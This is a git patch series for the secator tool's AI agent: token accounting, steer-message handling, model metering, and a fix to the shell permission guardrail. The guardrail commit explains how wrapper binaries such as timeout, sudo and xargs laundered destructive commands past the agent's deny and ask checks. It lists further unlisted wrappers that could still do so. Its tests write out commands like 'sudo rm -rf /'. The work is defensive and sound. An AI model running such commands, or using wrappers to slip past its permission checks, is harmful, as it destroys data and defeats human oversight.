secator/celery.py | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/secator/celery.py b/secator/celery.py index 65b270cac..86073d577 100644 --- a/secator/celery.py +++ b/secator/celery.py @@ -445,10 +445,15 @@ def mark_runner_started(results, runner, enable_hooks=True): results = get_results(results) - # Add results to runner so it can compute status - # and extract dynamic targets + # Add results to runner so it can compute status and extract dynamic targets. + # hooks=False: these are forwarded/inherited results already on_item-processed + # (enrichment + persistence) by their producing runner. Re-firing on_item here + # re-runs every per-item driver hook — e.g. a vuln-enrich DB query *per item* — + # which is what turned mark_started into a multi-minute, O(n)-queries operation. + # The duplicate pass (mark_duplicates, gated on enable_duplicate_check) runs + # separately at completion and is unaffected; add_result still appends to results. for item in results: - runner.add_result(item, print=False) + runner.add_result(item, print=False, hooks=False) # Emit scope-tagged Targets for workflows with a scan-level targets_ extractor. # This resolves the extractor at execution time (when Port/result data is available) @@ -513,10 +518,13 @@ def mark_runner_completed(results, runner, enable_hooks=True): results = get_results(results) - # Add results to runner so it can compute status - # and run duplicate checks + # Add results to runner so it can compute status and run duplicate checks. + # hooks=False for the same reason as mark_runner_started: these forwarded results + # were already on_item-processed upstream, so re-firing item hooks here is + # redundant. add_result still appends to self.results (the gate only skips hooks), + # so the mark_completed() duplicate check below still sees every item. for item in results: - runner.add_result(item, print=False) + runner.add_result(item, print=False, hooks=False) # Run mark_completed (duplicate checks, db updates if enable_hooks is True) runner.mark_completed() From e99b98229dec1ad601da0b265454ca508fd4bdb9 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 25 Jun 2026 20:09:25 +0200 Subject: [PATCH 045/129] refactor(ai): steer doc is the transcript entry; restore steers on respawn MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Drop the worker's redundant `Ai(ai_type="steer")` echo: the API's pending steer doc already carries `_context.session_id` and is itself the persisted transcript entry, so a second echo would double-render in the UI. Keep `_drain_steers` a generator (no items yielded) so the loop call site is unchanged and future echoes can be added without churn. Also restore steers as user turns in `restore_history_from_db` (framed `[User interjected]: …`) so a mid-flight redirect survives a respawn/history restore. Update the drain test to assert no echo doc is yielded. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/session.py | 5 +++++ secator/tasks/ai.py | 27 ++++++++++++++++++--------- tests/unit/test_ai_loop.py | 8 +++----- 3 files changed, 26 insertions(+), 14 deletions(-) diff --git a/secator/ai/session.py b/secator/ai/session.py index 3af15fe63..a6e803404 100644 --- a/secator/ai/session.py +++ b/secator/ai/session.py @@ -237,6 +237,11 @@ def restore_history_from_db(session_id, query_engine, model=None, encryptor=None history.add_user(maybe_encrypt(content, encryptor)) elif ai_type == 'response': history.add_assistant(maybe_encrypt(content, encryptor)) + elif ai_type == 'steer': + # A mid-flight steer is a real user turn (an interjection that + # redirected the run): preserve it as a user message on respawn so the + # redirect survives a history restore. Mirror the live-loop framing. + history.add_user(maybe_encrypt(f'[User interjected]: {content}', encryptor)) # All other ai_types (action displays, follow_up/permission prompts, # shell_output, summaries) are channel/UX artifacts, not conversation # turns — intentionally skipped for a valid litellm transcript. diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 46b410297..57d04f654 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -671,16 +671,26 @@ def _drain_steers(self): """Drain pending mid-flight steers and inject them into the LLM history. A "steer" is a user message sent WHILE the agent is running (over the - remote/web channel: a pending ``_type:"ai", ai_type:"steer"`` doc). At the - top of each loop iteration we drain any pending steers for this session, - append each to the history as a ``[User interjected]: …`` user message so - the model sees them on the next turn, and echo a steer Ai item (with - ``_context`` so it persists in the transcript). Cooperative — not a hard - cancel (Stop already does that). + remote/web channel: a pending ``_type:"ai", ai_type:"steer"`` doc written by + ``POST /ai/conversations/{id}/steer``). At the top of each loop iteration we + drain any pending steers for this session and append each to the history as + a ``[User interjected]: …`` user message so the model sees them on the next + turn. Cooperative — not a hard cancel (Stop already does that). + + The steer doc the API wrote is itself the persisted transcript entry (it + carries ``_context.session_id``, so the UI's transcript poll surfaces it as + an "interjected" user bubble). We deliberately do NOT yield a second + ``Ai(ai_type="steer")`` echo here — that would persist a duplicate doc with + the same content and double-render in the UI. ``poll_steers`` flips the + drained doc to ``status:"consumed"`` so it injects exactly once. Only the RemoteBackend has a channel to poll; for every other backend this is a no-op. Robust: a steer must never crash the run, so all backend access is best-effort and swallowed. + + Generator (``yield from``-compatible with the loop) — currently yields no + items, but kept a generator so future transcript echoes can be added without + changing the call site. """ if not isinstance(self.backend, RemoteBackend): return @@ -692,9 +702,8 @@ def _drain_steers(self): for content in steers: self.debug(f'steer: injecting user interjection: {content[:120]}', sub='llm') self.history.add_user(maybe_encrypt(f"[User interjected]: {content}", self.encryptor)) - # Echo into the transcript (persisted via _context.session_id) so the - # UI shows the steer as an interjected user bubble. - yield Ai(content=content, ai_type="steer", session_id=self.session_id) + return + yield # noqa: unreachable - keeps this a generator for `yield from` # ------------------------------------------------------------------------- # Summarization / compaction diff --git a/tests/unit/test_ai_loop.py b/tests/unit/test_ai_loop.py index 783d8e422..2f89ad40c 100644 --- a/tests/unit/test_ai_loop.py +++ b/tests/unit/test_ai_loop.py @@ -1170,11 +1170,9 @@ def test_steer_drained_injected_and_consumed(self): self.assertEqual(len(user_msgs), 1) self.assertEqual(user_msgs[-1]["content"], "[User interjected]: actually focus on the API") - # Echoed as a steer Ai item carrying the session_id (so it persists). - steer_items = [r for r in yielded if isinstance(r, Ai) and r.ai_type == "steer"] - self.assertEqual(len(steer_items), 1) - self.assertEqual(steer_items[0].content, "actually focus on the API") - self.assertEqual(steer_items[0].session_id, "steer-sess") + # No echo doc is yielded: the API's pending steer doc is itself the + # persisted transcript entry, so a second steer Ai would double-render. + self.assertEqual(yielded, []) # Marked consumed so it injects exactly once. update_set = mock_engine.update.call_args[0][1] From ee7783fc28d753f5f83e4700b07ecf4d79ecfb0b Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 25 Jun 2026 20:12:46 +0200 Subject: [PATCH 046/129] feat(ai): capture prompt/completion token split in per-run accounting MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Extend the single per-run billed-token accumulator so every call_llm contributes its prompt/completion breakdown, not just the total. call_llm now reads response.usage.prompt_tokens / completion_tokens (alongside total_tokens) and _account_usage rolls each into a dedicated cumulative context key: context.ai_prompt_tokens / context.ai_completion_tokens (context.ai_tokens remains the billed total). The history-compaction path (ChatHistory.compact -> billed_* -> _drain_history_usage) threads the split through too, so summarization is split-billed alongside the main loop and intent-detection calls. Accounting stays at the source: every successful call_llm (tool-only main turn, _detect_mode intent call, and history compaction) is counted exactly once regardless of whether the turn produced display content. Missing/None usage adds 0 and never raises. There is one accounting path — the old "sum ai_type==response findings" approach is not used. Tests (tests/unit/test_ai_tokens.py): add a tool-only-turn test (proves a content-less turn is billed), a combined main+intent+compaction sum test, and prompt/completion-split accumulation tests. 13/13 pass; flake8 clean. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/ai/history.py | 10 +++++ secator/ai/utils.py | 2 + secator/tasks/ai.py | 29 ++++++++++++- tests/unit/test_ai_tokens.py | 79 ++++++++++++++++++++++++++++++++++++ 4 files changed, 118 insertions(+), 2 deletions(-) diff --git a/secator/ai/history.py b/secator/ai/history.py index cfd74b743..89a7d7105 100644 --- a/secator/ai/history.py +++ b/secator/ai/history.py @@ -128,6 +128,8 @@ class ChatHistory: # (history summarization/compaction). The owning `ai` task drains these into # context.ai_tokens so summarization is billed alongside the main loop. billed_tokens: int = 0 + billed_prompt_tokens: int = 0 + billed_completion_tokens: int = 0 billed_cost: float = 0.0 def add_system(self, content: str) -> None: @@ -402,6 +404,14 @@ def compact(self, model: str, api_base: Optional[str] = None, self.billed_tokens += int(usage.get("tokens") or 0) except (TypeError, ValueError): pass + try: + self.billed_prompt_tokens += int(usage.get("prompt_tokens") or 0) + except (TypeError, ValueError): + pass + try: + self.billed_completion_tokens += int(usage.get("completion_tokens") or 0) + except (TypeError, ValueError): + pass try: self.billed_cost += float(usage.get("cost") or 0) except (TypeError, ValueError): diff --git a/secator/ai/utils.py b/secator/ai/utils.py index c73b28b82..9c4968327 100644 --- a/secator/ai/utils.py +++ b/secator/ai/utils.py @@ -275,6 +275,8 @@ def call_llm( usage = { "tokens": response.usage.total_tokens, + "prompt_tokens": getattr(response.usage, "prompt_tokens", None), + "completion_tokens": getattr(response.usage, "completion_tokens", None), "cost": cost, } diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index d7405de30..6b6a062ca 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -468,6 +468,8 @@ def _init_options(self): # `context.scan_hours`. Initialize on the runner context so it is # persisted onto the task doc even if the run makes zero LLM calls. self.context.setdefault("ai_tokens", 0) + self.context.setdefault("ai_prompt_tokens", 0) + self.context.setdefault("ai_completion_tokens", 0) self.context.setdefault("ai_cost", 0.0) # Create interactivity backend @@ -779,10 +781,12 @@ def _dispatch_and_collect(self, actions, ctx): def _account_usage(self, usage): """Accumulate billed token/cost usage from a single LLM call onto the runner context. - `usage` is the dict returned by `call_llm` (`{"tokens", "cost"}`) or None. + `usage` is the dict returned by `call_llm` + (`{"tokens", "prompt_tokens", "completion_tokens", "cost"}`) or None. Missing/None usage counts as 0 so accounting never crashes the run. The running total lives on `self.context["ai_tokens"]` (int, cumulative) which is persisted onto the task doc and read by the platform billing chore. + `context["ai_prompt_tokens"]`/`["ai_completion_tokens"]` carry the split. """ if not usage: return @@ -791,6 +795,18 @@ def _account_usage(self, usage): self.context["ai_tokens"] = int(self.context.get("ai_tokens", 0) or 0) + int(tokens) except (TypeError, ValueError): pass + try: + prompt_tokens = usage.get("prompt_tokens") or 0 + self.context["ai_prompt_tokens"] = \ + int(self.context.get("ai_prompt_tokens", 0) or 0) + int(prompt_tokens) + except (TypeError, ValueError): + pass + try: + completion_tokens = usage.get("completion_tokens") or 0 + self.context["ai_completion_tokens"] = \ + int(self.context.get("ai_completion_tokens", 0) or 0) + int(completion_tokens) + except (TypeError, ValueError): + pass try: cost = usage.get("cost") or 0 self.context["ai_cost"] = float(self.context.get("ai_cost", 0.0) or 0.0) + float(cost) @@ -807,10 +823,19 @@ def _drain_history_usage(self): if history is None: return tokens = getattr(history, "billed_tokens", 0) or 0 + prompt_tokens = getattr(history, "billed_prompt_tokens", 0) or 0 + completion_tokens = getattr(history, "billed_completion_tokens", 0) or 0 cost = getattr(history, "billed_cost", 0.0) or 0.0 if tokens: - self._account_usage({"tokens": tokens, "cost": cost}) + self._account_usage({ + "tokens": tokens, + "prompt_tokens": prompt_tokens, + "completion_tokens": completion_tokens, + "cost": cost, + }) history.billed_tokens = 0 + history.billed_prompt_tokens = 0 + history.billed_completion_tokens = 0 history.billed_cost = 0.0 def _add_assistant_to_history(self, content, tool_calls): diff --git a/tests/unit/test_ai_tokens.py b/tests/unit/test_ai_tokens.py index e9bdc6e65..a1c91fe5e 100644 --- a/tests/unit/test_ai_tokens.py +++ b/tests/unit/test_ai_tokens.py @@ -10,6 +10,7 @@ - History summarization usage is rolled in exactly once. """ import contextlib +import types import unittest from unittest.mock import patch @@ -22,6 +23,14 @@ from secator.ai.history import ChatHistory +def _fake_tool_call(name="noop", call_id="t1"): + """A minimal litellm-shaped tool_call object (has .id and .function.*).""" + return types.SimpleNamespace( + id=call_id, + function=types.SimpleNamespace(name=name, arguments="{}"), + ) + + def _make_task(): """Construct a bare `ai` task instance with a context dict, bypassing __init__. @@ -33,6 +42,8 @@ def _make_task(): task.history = ChatHistory() # Mirror what _init_options seeds. task.context.setdefault("ai_tokens", 0) + task.context.setdefault("ai_prompt_tokens", 0) + task.context.setdefault("ai_completion_tokens", 0) task.context.setdefault("ai_cost", 0.0) return task @@ -77,6 +88,23 @@ def test_field_persisted_on_context(self): self.assertEqual(task.context["ai_tokens"], 123) self.assertIsInstance(task.context["ai_tokens"], int) + def test_prompt_completion_split_accumulated(self): + """prompt_tokens/completion_tokens accumulate into their own context keys.""" + task = _make_task() + task._account_usage({"tokens": 300, "prompt_tokens": 200, "completion_tokens": 100, "cost": 0.0}) + task._account_usage({"tokens": 60, "prompt_tokens": 40, "completion_tokens": 20, "cost": 0.0}) + self.assertEqual(task.context["ai_tokens"], 360) + self.assertEqual(task.context["ai_prompt_tokens"], 240) + self.assertEqual(task.context["ai_completion_tokens"], 120) + + def test_prompt_completion_split_missing_is_zero(self): + """Usage with only total tokens leaves the split at 0 (no crash).""" + task = _make_task() + task._account_usage({"tokens": 100, "cost": 0.0}) + self.assertEqual(task.context["ai_tokens"], 100) + self.assertEqual(task.context["ai_prompt_tokens"], 0) + self.assertEqual(task.context["ai_completion_tokens"], 0) + def test_history_summarization_usage_drained_once(self): """Billed tokens accrued by history compaction roll in exactly once.""" task = _make_task() @@ -220,6 +248,57 @@ def test_loop_with_no_usage_is_zero(self): self.assertEqual(task.context["ai_tokens"], 0) + def test_tool_only_turn_is_counted(self): + """A main-loop turn that only calls tools (no display content) is billed. + + The old `Σ ai_type=="response"` approach missed these turns entirely + (the `response` Ai is gated on `if content:`). The accumulator must count + the call's tokens regardless of whether it produced content. + """ + task = self._make_loop_task() + # Turn 1: tool-only (no content). Turn 2: content -> exits. + responses = [ + {"content": "", "tool_calls": [_fake_tool_call()], "usage": {"tokens": 100, "cost": 0.001}}, + {"content": "done", "tool_calls": [], "usage": {"tokens": 50, "cost": 0.0005}}, + ] + with _loop_patches(task, responses): + # Tool call is consumed, returns no follow-up actions -> loop continues. + with patch.object(ai, '_process_tool_calls', return_value=iter(())): + with patch.object(ai, '_prompt_and_redetect', return_value=None): + list(task._run_loop()) + + # Both turns counted, including the content-less tool-only turn. + self.assertEqual(task.context["ai_tokens"], 150) + self.assertAlmostEqual(task.context["ai_cost"], 0.0015) + + def test_combined_main_intent_compaction_sum(self): + """Main-loop + intent-detection + compaction usages all sum onto context. + + Proves the three distinct billed call sites the audit flagged + (tool-only main turn, _detect_mode intent call, history compaction) + are aggregated into a single context.ai_tokens total. + """ + task = self._make_loop_task() + # (b) intent-detection call (as _detect_mode does it). + task._account_usage({"tokens": 30, "cost": 0.0003}) + # (c) compaction call (as ChatHistory.compact stashes, then drained). + task.history.billed_tokens = 70 + task.history.billed_cost = 0.0007 + task._drain_history_usage() + # (a) tool-only main-loop turn driven through the real loop. + responses = [ + {"content": "", "tool_calls": [_fake_tool_call()], "usage": {"tokens": 100, "cost": 0.001}}, + {"content": "done", "tool_calls": [], "usage": {"tokens": 50, "cost": 0.0005}}, + ] + with _loop_patches(task, responses): + with patch.object(ai, '_process_tool_calls', return_value=iter(())): + with patch.object(ai, '_prompt_and_redetect', return_value=None): + list(task._run_loop()) + + # 30 (intent) + 70 (compaction) + 100 (tool-only) + 50 (content) = 250 + self.assertEqual(task.context["ai_tokens"], 250) + self.assertAlmostEqual(task.context["ai_cost"], 0.0025) + if __name__ == '__main__': unittest.main() From f8cf904514e9f9879eb27c0beca7a1c70a7d5e4d Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 25 Jun 2026 20:53:53 +0200 Subject: [PATCH 047/129] feat(ai): record context.ai_model on each ai run for cost-weighted metering The platform metering chore prices a run's consumed tokens against a model registry (free vs paid, per-million in/out/cached rates), so it needs to know WHICH model produced the tokens. Record the resolved run model id on `context.ai_model` in `_init_options`, alongside the existing `context.ai_tokens` accounting seeds. This is the configured model for the run; a mid-session model switch is out of scope (the configured model is recorded). Tests: TestAiModelRecording drives _init_options with collaborators stubbed and asserts context.ai_model == the resolved model (paid + free ids). 15/15 pass; flake8 clean. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/tasks/ai.py | 8 +++++ tests/unit/test_ai_tokens.py | 61 ++++++++++++++++++++++++++++++++++++ 2 files changed, 69 insertions(+) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 6b6a062ca..b34cf15fc 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -472,6 +472,14 @@ def _init_options(self): self.context.setdefault("ai_completion_tokens", 0) self.context.setdefault("ai_cost", 0.0) + # Record the resolved model id used for this run so the platform metering + # chore can price the consumed tokens against the model registry (free + # vs paid, per-million in/out/cached rates). This is the *configured* + # model for the run; if the user switches model mid-session that change + # is out of scope (the configured model is recorded). Set unconditionally + # (not setdefault) so it reflects the option resolved in this _init. + self.context["ai_model"] = self.model + # Create interactivity backend self.session_id = self.session_name or str(self.id) self.backend = create_backend(self.interactive, timeout=CONFIG.addons.ai.user_response_timeout) diff --git a/tests/unit/test_ai_tokens.py b/tests/unit/test_ai_tokens.py index a1c91fe5e..48f63647a 100644 --- a/tests/unit/test_ai_tokens.py +++ b/tests/unit/test_ai_tokens.py @@ -156,6 +156,67 @@ def test_history_compact_missing_usage_is_zero(self): self.assertEqual(history.billed_tokens, 0) +@unittest.skipUnless(HAS_AI, 'ai addon required') +class TestAiModelRecording(unittest.TestCase): + """The resolved run model is recorded on context.ai_model for the metering chore.""" + + def _run_init_options(self, model): + """Drive _init_options with the heavy collaborators stubbed out. + + Only the bits _init_options touches are stubbed; we assert the + context.ai_model recording, which sits next to the ai_tokens seeding. + """ + task = ai.__new__(ai) + task.context = {} + task.run_opts = {} + task.results = [] + task.inputs = [] + task._reports_folder = None + task.sync = True + + opt_values = { + "resume": False, + "subagent": False, + "model": model, + "intent_model": "intent-model", + "api_base": None, + "api_key": "key", + "sensitive": False, + "mode": "chat", + "max_tokens_total": 100000, + "max_workers": 1, + "max_iterations": 10, + "temperature": 0.7, + "context_warnings": True, + "async_tasks": False, + "dangerous": False, + "interactive": "auto", + } + task.get_opt_value = lambda key: opt_values.get(key) + + with contextlib.ExitStack() as stack: + stack.enter_context(patch('secator.tasks.ai.PermissionEngine')) + stack.enter_context(patch('secator.tasks.ai.create_backend')) + stack.enter_context(patch('secator.tasks.ai.SensitiveDataEncryptor')) + stack.enter_context(patch.object(ai, '_auto_approve_workspace_targets')) + stack.enter_context(patch.object(type(task), 'reports_folder', property(lambda self: None))) + stack.enter_context(patch.object(type(task), 'id', 'task-id', create=True)) + task._init_options() + return task + + def test_ai_model_recorded_on_context(self): + """context.ai_model == the resolved run model (the chore prices against it).""" + task = self._run_init_options("openrouter/anthropic/claude-sonnet-4.6") + self.assertEqual(task.context["ai_model"], "openrouter/anthropic/claude-sonnet-4.6") + + def test_ai_model_recorded_alongside_token_seeds(self): + """ai_model is seeded next to the ai_tokens accounting keys.""" + task = self._run_init_options("openrouter/google/gemma-4-26b-a4b-it:free") + self.assertEqual(task.context["ai_model"], "openrouter/google/gemma-4-26b-a4b-it:free") + self.assertEqual(task.context["ai_tokens"], 0) + self.assertIn("ai_prompt_tokens", task.context) + + @contextlib.contextmanager def _loop_patches(task, responses): """Patch the heavy collaborators _run_loop touches so we can drive it bare. From 30a0a090f2e7bbcf1764a1c7dd22aa934c0805da Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Tue, 30 Jun 2026 18:55:19 +0200 Subject: [PATCH 048/129] fix(ai): make shell guardrail wrapper-aware and fix destructive-command deny (C2, H6) (#1238) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Findings - **C2 (Critical) — exec-wrapper laundering.** Allow-listed wrapper binaries (`timeout`, `xargs`, `sudo`, `env`, `nice`, ...) execute an arbitrary inner command, but the engine only checked the wrapper's *name* token. So `timeout 60 rm -rf /` parsed to name `timeout` (allowed) and ran under `shell=True` with **no prompt**, also defeating the `bash`/`python` → `ask` gate. - **H6 (High) — `shell(rm -rf /*)` deny was a no-op.** The deny entry `rm -rf /*` is a multi-word payload, but shell rules were matched against the single command-name token `rm`, which never equals `rm -rf /*`. The flagship destructive-delete protection silently did nothing. ## Root cause One root cause: the shell branch of `PermissionEngine._check_action_type` checked only `cmd_name = c[0]` (the first token) of each parsed sub-command — so wrapped inner commands were invisible and multi-word deny payloads could never match. ## Fix (one change covers both) In `secator/ai/guardrails.py`: 1. **Wrapper-aware checking (C2).** Added `EXEC_WRAPPERS` and `_peel_wrapper()`, which strips leading wrapper binaries (plus their flags / numeric operands / `KEY=VALUE` assignments, recursively) to reach the **inner** command. `_check_action_type` now checks the peeled inner command instead of the wrapper name. Reuses the existing safecmd parse via a new shared `_parse_subcommands()` helper. 2. **Destructive-payload deny actually fires (H6).** Multi-word shell deny entries are now matched against the full (wrapper-peeled) command string with `/`-boundary-aware globbing (`_match_command_glob`, where `*` does not cross `/`). So `rm -rf /` and `rm -rf /etc` are **denied**, while a scoped `rm -rf /tmp/x` falls through to the normal name-based check (which prompts). Single-token denies (`dd`, `mkfs`, `env`, `printenv`) keep matching by command name via `_check_value`. **Chosen model (documented in code):** multi-word deny entries = anchored, path-boundary-aware match against the full command string; single-token entries = name match. `secator/config.py` is **unchanged** — the existing deny strings now actually fire, and the `timeout`/`xargs` allow entries are safe because inner commands are checked. ## DRY note Both bugs share the single root cause (first-token-only checking), so they are fixed once: `_parse_subcommands()` is the single parse path (refactored out of `_extract_cmd_names`, reused by the wrapper-peeling logic), and the new behavior threads through the existing `_check_value` deny/allow/ask ordering rather than duplicating it. ## Validation - `python3 -m py_compile secator/ai/guardrails.py secator/config.py` — clean. - Extended `tests/unit/test_ai_guardrails.py` (`TestDefaultPermissions`, real default config) with 7 cases: `timeout 60 rm -rf /` → deny, `xargs -I{} rm -rf {}` → ask (no longer auto-allow), `timeout 60 bash -c ...` → ask (interpreter gate restored), `sudo rm -rf /` → deny, `rm -rf /` / `rm -rf /etc` → deny, scoped `rm -rf /tmp/x` → ask, and `timeout 60 curl ...` → allow (no regression of allowed inner commands). - Full file: **125 passed** (118 prior + 7 new), including the pre-existing `rm -rf /tmp/data → ask` test which the path-boundary-aware deny preserves. ## Extra issues surfaced - **`xargs ... rm ...` only reaches `ask`, not `deny`.** Because xargs feeds the operand (`{}`) from stdin, the peeled inner command is `rm -rf {}`, which doesn't match the root-anchored `rm -rf /*`, so it prompts rather than hard-denies. Acceptable (no longer auto-allowed), but worth noting the deny only fires when the destructive root path is literal in the command. - **`_is_wrapper_operand` heuristic is conservative.** Wrapper option-values that are neither numeric nor `KEY=VALUE` (e.g. `xargs -I {}` with a space, an exotic `--flag value`) can cause the operand to be mistaken for the inner command — this fails *safe* (lands on an unknown token → `ask`), but could over-prompt on unusual wrapper invocations. - **Wrapper list is allow-list-shaped.** New wrapper-style binaries (e.g. `flock`, `runuser`, `script`, `proxychains`, `firejail`) are not in `EXEC_WRAPPERS`, so a future allow-listed wrapper outside this set would reintroduce the same laundering class. Consider deriving wrappers from a maintained set or classifying them. - **`shell(env)` is both a wrapper and a deny entry.** Bare `env` (env dump / exfil) is correctly denied, but `env FOO=bar somecmd` now peels to `somecmd` — intended, but means `env` used purely as a wrapper bypasses the `env` deny by design. Flagged for awareness. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 --- secator/ai/guardrails.py | 93 ++++++++++++++++++++++++++++---- tests/unit/test_ai_guardrails.py | 49 +++++++++++++++++ 2 files changed, 132 insertions(+), 10 deletions(-) diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index 37e21029a..41e013078 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -26,6 +26,13 @@ # Execute-type commands EXECUTE_COMMANDS = frozenset({"python", "python3", "bash", "sh", "node", "ruby", "perl", "gcc", "g++", "make", "go"}) +# Exec-wrappers run a *different* command passed as args (`timeout 60 rm -rf /`), +# so we peel the wrapper and check the INNER command, not the allow-listed name (C2). +EXEC_WRAPPERS = frozenset({ + "timeout", "xargs", "env", "nice", "ionice", "nohup", "stdbuf", + "setsid", "sudo", "doas", "watch", "time", "chroot", "unbuffer", +}) + def parse_rule(rule: str) -> Tuple[str, List[str]]: """Parse a rule string like 'target(10.0.0.1,example.com)' into (type, patterns). @@ -226,21 +233,19 @@ def _check_arg(arg: str): return targets -def _extract_cmd_names(command: str) -> List[str]: - """Extract command names from a shell command using safecmd's bash parser. +def _parse_subcommands(command: str) -> List[List[str]]: + """Parse a shell command into sub-command token lists via safecmd's parser. Uses shfmt (via safecmd) to properly parse pipes, &&, ||, ;, subshells, - and command substitutions. Returns empty list if parsing fails (caller + and command substitutions. Returns an empty list if parsing fails (caller should prompt the user to approve the whole command). Args: command: Full shell command string Returns: - List of command name strings (first token of each sub-command), - or empty list if parsing fails. + List of token lists, one per sub-command, or [] if parsing fails. """ - import re try: from safecmd.bashxtract import extract_commands except ImportError: @@ -252,11 +257,57 @@ def _extract_cmd_names(command: str) -> List[str]: # starts the next line (e.g. "cmd1\n| cmd2" -> "cmd1 | cmd2") command = re.sub(r'\s*\n\s*(\||\&\&|\|\|)', r' \1', command) cmds, ops, redirects = extract_commands(command) - return [c[0] for c in cmds if c] + return [c for c in cmds if c] except Exception: return [] +def _extract_cmd_names(command: str) -> List[str]: + """Extract command names (first token of each sub-command); [] on parse failure.""" + return [c[0] for c in _parse_subcommands(command)] + + +def _is_wrapper_operand(token: str) -> bool: + """Heuristic: is this token a wrapper operand (numeric duration / KEY=VALUE), not the inner cmd?""" + if re.fullmatch(r'\d+(?:\.\d+)?[smhd]?', token): + return True + if re.fullmatch(r'[A-Za-z_][A-Za-z0-9_]*=.*', token): + return True + return False + + +def _peel_wrapper(args: List[str]) -> List[str]: + """Strip leading exec-wrapper binaries to reach the inner command's tokens. + + Bare `env`/`sudo` (no inner command) is returned as-is so it's still checked by name. + """ + tokens = args + for _ in range(len(args)): # bounded peels (guards against pathological nesting) + if not tokens: + return tokens + name = tokens[0].rsplit('/', 1)[-1] + if name not in EXEC_WRAPPERS: + return tokens + rest = tokens[1:] + i = 0 + while i < len(rest): + tok = rest[i] + if tok.startswith('-') or _is_wrapper_operand(tok): + i += 1 + continue + break + if i >= len(rest): + return tokens # wrapper with no inner command — check it by name + tokens = rest[i:] + return tokens + + +def _match_command_glob(command: str, pattern: str) -> bool: + """Anchored glob match where '*' does NOT cross '/' (so `rm -rf /*` spares `rm -rf /tmp/x`).""" + regex = ''.join('[^/]*' if ch == '*' else re.escape(ch) for ch in pattern) + return re.fullmatch(regex, command) is not None + + def _resolve_path(path: str, cwd: str = "") -> str: """Resolve a path to absolute for consistent rule matching. @@ -639,8 +690,8 @@ def _check_action_type(self, action_type: str, action: Dict) -> PermissionResult command = action.get("command", "") if not command.strip(): return PermissionResult(decision="deny", reason="Empty command") - cmd_names = _extract_cmd_names(command) - if not cmd_names: + subcommands = _parse_subcommands(command) + if not subcommands: # Parse failure — prompt user for the whole command return PermissionResult( decision="ask", @@ -649,7 +700,16 @@ def _check_action_type(self, action_type: str, action: Dict) -> PermissionResult ) most_restrictive = None unmatched = [] - for cmd_name in cmd_names: + for args in subcommands: + # peel exec-wrappers so the INNER command is checked, not the wrapper name (C2) + inner = _peel_wrapper(args) + if not inner: + continue + cmd_name = inner[0] + # multi-word denies (e.g. "rm -rf /*") match the full peeled command; names via _check_value (H6) + denied = self._match_shell_command_deny(inner) + if denied: + return PermissionResult(decision="deny", reason=f"Denied by rule: shell({denied})") result = self._check_value("shell", cmd_name) if result.decision == "deny": # Distinguish explicit deny rules from "no matching rule" default @@ -679,6 +739,19 @@ def _check_action_type(self, action_type: str, action: Dict) -> PermissionResult return PermissionResult(decision="allow", reason=f"{action_type} is always allowed") return PermissionResult(decision="deny", reason=f"Unknown action type: {action_type}") + def _match_shell_command_deny(self, tokens: List[str]) -> str: + """Return a multi-word shell deny pattern (e.g. "rm -rf /*") hit by these tokens, else "" (H6).""" + cmd_str = ' '.join(tokens) + for rt, patterns in self.rules["deny"]: + if rt != "shell": + continue + for pattern in patterns: + if ' ' not in pattern: + continue # single-token denies are handled by name in _check_value + if _match_command_glob(cmd_str, pattern): + return pattern + return "" + def _check_value(self, rule_type: str, value: str) -> PermissionResult: """Check a single value. Order: deny > allow > ask > deny. diff --git a/tests/unit/test_ai_guardrails.py b/tests/unit/test_ai_guardrails.py index a73f9559f..b2b2ee8c4 100644 --- a/tests/unit/test_ai_guardrails.py +++ b/tests/unit/test_ai_guardrails.py @@ -610,6 +610,55 @@ def test_execute_command_not_in_whitelist(self): self.assertEqual(result.decision, "ask") self.assertIn("rm", result.shell_command) + # === Exec-wrapper laundering (C2) + destructive deny (H6) === + + def test_timeout_wrapper_does_not_launder_destructive_rm(self): + """`timeout 60 rm -rf /` must NOT auto-allow via the timeout wrapper (C2 + H6).""" + engine = self._engine() + result = engine.check_action({"action": "shell", "command": "timeout 60 rm -rf /"}) + self.assertEqual(result.decision, "deny") + + def test_xargs_wrapper_does_not_launder_inner_command(self): + """`xargs ... rm ...` must not auto-allow via the xargs wrapper (C2).""" + engine = self._engine() + result = engine.check_action({"action": "shell", "command": "xargs -I{} rm -rf {}"}) + # Inner rm is unknown (not root-destructive) -> prompt, never silent allow. + self.assertEqual(result.decision, "ask") + + def test_timeout_wrapper_restores_interpreter_ask_gate(self): + """Wrapping an interpreter (`timeout 60 bash -c ...`) must keep the ask gate (C2).""" + engine = self._engine() + result = engine.check_action({"action": "shell", "command": "timeout 60 bash -c 'rm -rf /'"}) + self.assertEqual(result.decision, "ask") + + def test_sudo_wrapper_does_not_launder_destructive_rm(self): + """`sudo rm -rf /` must be denied, not laundered through sudo (C2 + H6).""" + engine = self._engine() + result = engine.check_action({"action": "shell", "command": "sudo rm -rf /"}) + 